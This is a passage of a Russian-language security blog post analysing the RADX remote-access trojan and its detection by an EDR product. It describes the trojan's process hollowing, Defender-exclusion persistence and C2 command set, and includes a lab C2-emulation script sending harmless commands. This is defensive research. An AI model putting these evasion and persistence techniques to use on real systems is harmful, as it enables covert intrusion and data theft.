{"id":370564,"date":"2024-05-21T04:28:06","date_gmt":"2024-05-21T04:28:06","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=370564"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=370564","title":{"rendered":"<span>\u0422\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 RAT-\u0442\u0440\u043e\u044f\u043d \u0437\u0430 200 \u0440\u0443\u0431\u043b\u0435\u0439: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 RADX<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ee0\/ba1\/65d\/ee0ba165d581610e8db7556389fae7b3.png\" width=\"780\" height=\"440\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ee0\/ba1\/65d\/ee0ba165d581610e8db7556389fae7b3.png\"\/><\/figure>\n<p>\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u0412\u0430\u043b\u0435\u0440\u0438\u0439 \u0421\u043b\u0435\u0437\u043a\u0438\u043d\u0446\u0435\u0432, \u0432 Positive Technologies \u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0436\u0443\u00a0\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u043a\u0430\u0445 \u0432 <a href=\"https:\/\/portal.ptsecurity.com\/orgstructure.aspx\/department\/%7Ba25341b0-7625-11ed-92e0-005056990faf%7D\">\u043e\u0442\u0434\u0435\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e<\/a> \u0432 PT Expert Security Center (PT ESC). \u041d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 MaxPatrol EDR \u0432 \u0447\u0430\u0441\u0442\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430 \u0445\u043e\u0441\u0442\u0430\u0445. \u041c\u044b \u043f\u0438\u0448\u0435\u043c \u043a\u043e\u0440\u0440\u0435\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u0438\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438 \u043f\u043e\u0434\u0445\u043e\u0434\u044b \u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044e \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u044b. \u041d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0438\u0448\u0435\u043c proof of concept \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043d\u0430\u0448\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043d\u0430 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u043d\u044b\u0445 \u0441\u0442\u0435\u043d\u0434\u0430\u0445. \u042d\u0442\u043e \u043d\u0443\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043c\u044b \u0431\u044b\u043b\u0438 \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e MaxPatrol EDR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u043e\u0442 \u043d\u0438\u0445 \u043d\u0430\u0448\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043a, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043c\u044b \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u043d\u043e\u0432\u043e\u0439 \u0441\u0435\u0440\u0438\u0435\u0439 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0442\u0440\u043e\u044f\u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c RADX. \u041e\u0431 \u044d\u0442\u043e\u043c \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0447\u0438\u0442\u0430\u0442\u044c \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 <a href=\"https:\/\/www.securitylab.ru\/news\/545303.php?ysclid=lt781xropl590323010\">\u043d\u0430 SecurityLab<\/a>. \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043d\u0430\u043c \u0441\u0442\u0430\u043b\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043a\u0430\u043a MaxPatrol EDR \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0442\u0440\u043e\u044f\u043d \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u0443\u0435\u0442 \u043d\u0430 \u043d\u0435\u0433\u043e. \u0427\u0442\u043e \u043c\u044b \u0432 \u0438\u0442\u043e\u0433\u0435 \u0443\u0437\u043d\u0430\u043b\u0438, \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c \u0438 \u043f\u043e\u043a\u0430\u0436\u0435\u043c \u0432 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.<\/p>\n<h2>Initial Access<\/h2>\n<p>\u0410\u0442\u0430\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430.<\/p>\n<p>\u0412\u043e \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0435\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0432. \u041c\u044b, \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u044f \u043d\u0435\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0438 \u043d\u0435\u0438\u0441\u043a\u0443\u0448\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0435\u0433\u043e \u043d\u0430 \u0434\u0438\u0441\u043a \u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c. \u0412\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \u00ab\u0441\u043a\u0440\u0438\u043d \u043e\u043f\u043b\u0430\u0442\u044b \u0437\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.pdf.exe\u00bb. \u0412\u043e\u0442 \u043a\u0430\u043a \u043e\u043d \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0432 File Explorer \u043f\u0440\u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f\u0445.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bf4\/95c\/3d9\/bf495c3d99b7c042cb2775e6f8bb3506.png\" width=\"753\" height=\"336\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bf4\/95c\/3d9\/bf495c3d99b7c042cb2775e6f8bb3506.png\"\/><\/figure>\n<p>\u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u044d\u0442\u043e 32-\u0431\u0438\u0442\u043d\u043e\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0435 \u043d\u0430 C\/C++. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9ec\/930\/763\/9ec93076314ed840137d7a117c35536e.png\" width=\"1385\" height=\"1160\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9ec\/930\/763\/9ec93076314ed840137d7a117c35536e.png\"\/><\/figure>\n<p>\u0412 \u043a\u043e\u0434\u0435 \u043c\u044b \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043f\u0440\u0438\u0435\u043c\u044b \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>API hashing \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432; <\/p>\n<\/li>\n<li>\n<p>\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 next-stage payload;<\/p>\n<\/li>\n<li>\n<p>\u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 RegCloseKey (\u0434\u043b\u044f \u0437\u0430\u0442\u0440\u0443\u0434\u043d\u0435\u043d\u0438\u044f \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430).<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 <code>C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe<\/code> \u0441 \u0444\u043b\u0430\u0433\u043e\u043c CREATE_SUSPENDED\u00bb \u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0432 \u043d\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 WriteProcessMemory, SetThreadContext \u0438 ResumeThread.<\/p>\n<blockquote>\n<p>\u041f\u0440\u043e \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 RAT, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e\u0432\u043e\u0440\u044f\u0449\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u044f\u0432\u0438\u0442\u044c\u0441\u044f \u0432 \u043b\u044e\u0431\u043e\u043c \u0443\u0433\u043e\u043b\u043a\u0435 \u043f\u043b\u0430\u043d\u0435\u0442\u044b, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"https:\/\/habr.com\/ru\/companies\/pt\/articles\/793440\/?utm_source=habr&amp;utm_medium=article&amp;utm_campaign=RADX\">\u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>. \u041d\u0430\u0448\u0438 \u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u043f\u0438\u0441\u0430\u043b\u0438, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0438, \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b \u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044c.<\/p>\n<\/blockquote>\n<h2>Next Stage<\/h2>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0441\u0442\u0430\u0434\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0433\u043e AppLaunch.exe. <\/p>\n<p>\u0412\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u2013 \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 .NET, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 C2-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u043e\u0442 \u043d\u0435\u0433\u043e \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e\u043d\u043e \u0443\u043c\u0435\u0435\u0442 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 <code>cmd.exe<\/code>, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0441\u043a\u0440\u044b\u0442\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Task Scheduler.<\/p>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0442\u0440\u043e\u044f\u043d\u0430 RADX, \u043c\u043e\u0439 \u043a\u043e\u043b\u043b\u0435\u0433\u0430, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u041f\u0430\u0432\u0435\u043b \u041c\u0430\u043a\u0441\u044e\u0442\u0438\u043d, \u043f\u0440\u043e\u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0443\u0442\u0438\u043b\u0438\u0442\u0443 FakeNet-NG. \u0412 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043e\u0442 RADX \u043c\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<ul>\n<li>\n<p><code>cmd<\/code> \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 cmd.exe (<code>wmic process call create calc.exe<\/code>);<\/p>\n<\/li>\n<li>\n<p><code>stream_start, stream_stop<\/code> \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432;<\/p>\n<\/li>\n<li>\n<p><code>upload_file<\/code> \u2014 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442 \u0438 \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a (\u0431\u0430\u0442\u043d\u0438\u043a \u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440\u0430);<\/p>\n<\/li>\n<li>\n<p><code>open_link<\/code> \u2014 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435;<\/p>\n<\/li>\n<li>\n<p><code>backup_info<\/code> \u2014 \u0441\u0431\u043e\u0440 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u0438\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u043b EDR-\u0430\u0433\u0435\u043d\u0442, \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0435\u0433\u043e \u0432 ProcessBlackList \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0435 FakeNet-NG.<\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 RADX.<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import socket import json import base64  user_uuid = \"7dbc8678-05bc-48da-8959-92300520e879\" default_user_response = {     \"user\": {         \"uuid\": user_uuid,         \"city\": \"\",         \"country\": \"\",         \"ip\": \"\",         \"postal\": \"\",         \"processor\": \"\",         \"ram\": 0,         \"registered_at\": \"\",         \"video_card\": \"\",         \"windows_version\": \"\"      },     \"data\": \"\",     \"filename\": \"\",     \"message\": \"\" }  STATE = 0  def send_response(req, message=\"\", data=\"\", filename=\"\"):     response = default_user_response     response[\"message\"] = message     response[\"data\"] = data     response[\"filename\"] = filename     response = json.dumps(response).encode()     req.send_response(200)     req.send_header('Content-Length', len(response))     req.send_header('content-type', 'application\/json; charset=utf-8')     req.end_headers()     req.wfile.write(response)     print(b'sending response: ', response)  def HandleRequest(req, method, post_data=None):     global STATE     print('C2 call:', method, req.path)      if req.path == '\/add_user':         send_response(req)         STATE = 0     elif req.path == f'\/check\/{user_uuid}':         if STATE == 0:             send_response(req, \"cmd\", \"wmic process call create calc.exe\")             STATE = 1         elif STATE == 1:             send_response(req, \"stream_start\")             STATE = 2         elif STATE == 2:             send_response(req, \"stream_stop\")             STATE = 3         elif STATE == 3:             raw = base64.b64encode(b'calc.exe').decode()             send_response(req, \"upload_file\", str(raw), \"mycalc.bat\")             STATE = 4         elif STATE == 4:             send_response(req, \"open_link\", \"http:\/\/google.com\")             STATE = 5         elif STATE == 5:             send_response(req, \"backup_info\")             STATE = 6     else:         send_response(req) <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c FakeNet-NG, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c EDR-\u0430\u0433\u0435\u043d\u0442, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c RADX.<\/p>\n<p>\u0421\u0440\u0430\u0437\u0443 \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0435\u0435 \u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0444\u0430\u0439\u043b\u0430 \u0441 \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a3e\/01f\/509\/a3e01f509f4defd251d85e4fe76eba2b.png\" width=\"1313\" height=\"409\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a3e\/01f\/509\/a3e01f509f4defd251d85e4fe76eba2b.png\"\/><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u0430\u044f \u0432\u0435\u0449\u044c. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 image \u0432 <code>%LOCALAPPDATA%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af\\<\/code>. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0430\u043a\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0435\u0449\u0435 \u043d\u0435\u0442, \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 DirectoryNotFoundException. \u0412 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u0443\u0442\u044c \u043a \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u0432 <code>%LOCALAPPDATA%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af<\/code> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f Defender, \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0437\u0434\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0432 Task Scheduler \u043d\u0430 \u0437\u0430\u043f\u0443\u0441\u043a \u044d\u0442\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041f\u0440\u0438\u0447\u0435\u043c \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u043d\u0436\u0435\u043a\u0442\u0430 \u0432  <code>%LOCALAPPDATA%\\Packages\\Microsoft.Windows.Accounts.ControlRCP_ruzxpnew4af<\/code> \u0431\u0443\u0434\u0435\u0442 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 AppLaunch.exe. \u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443 RADX 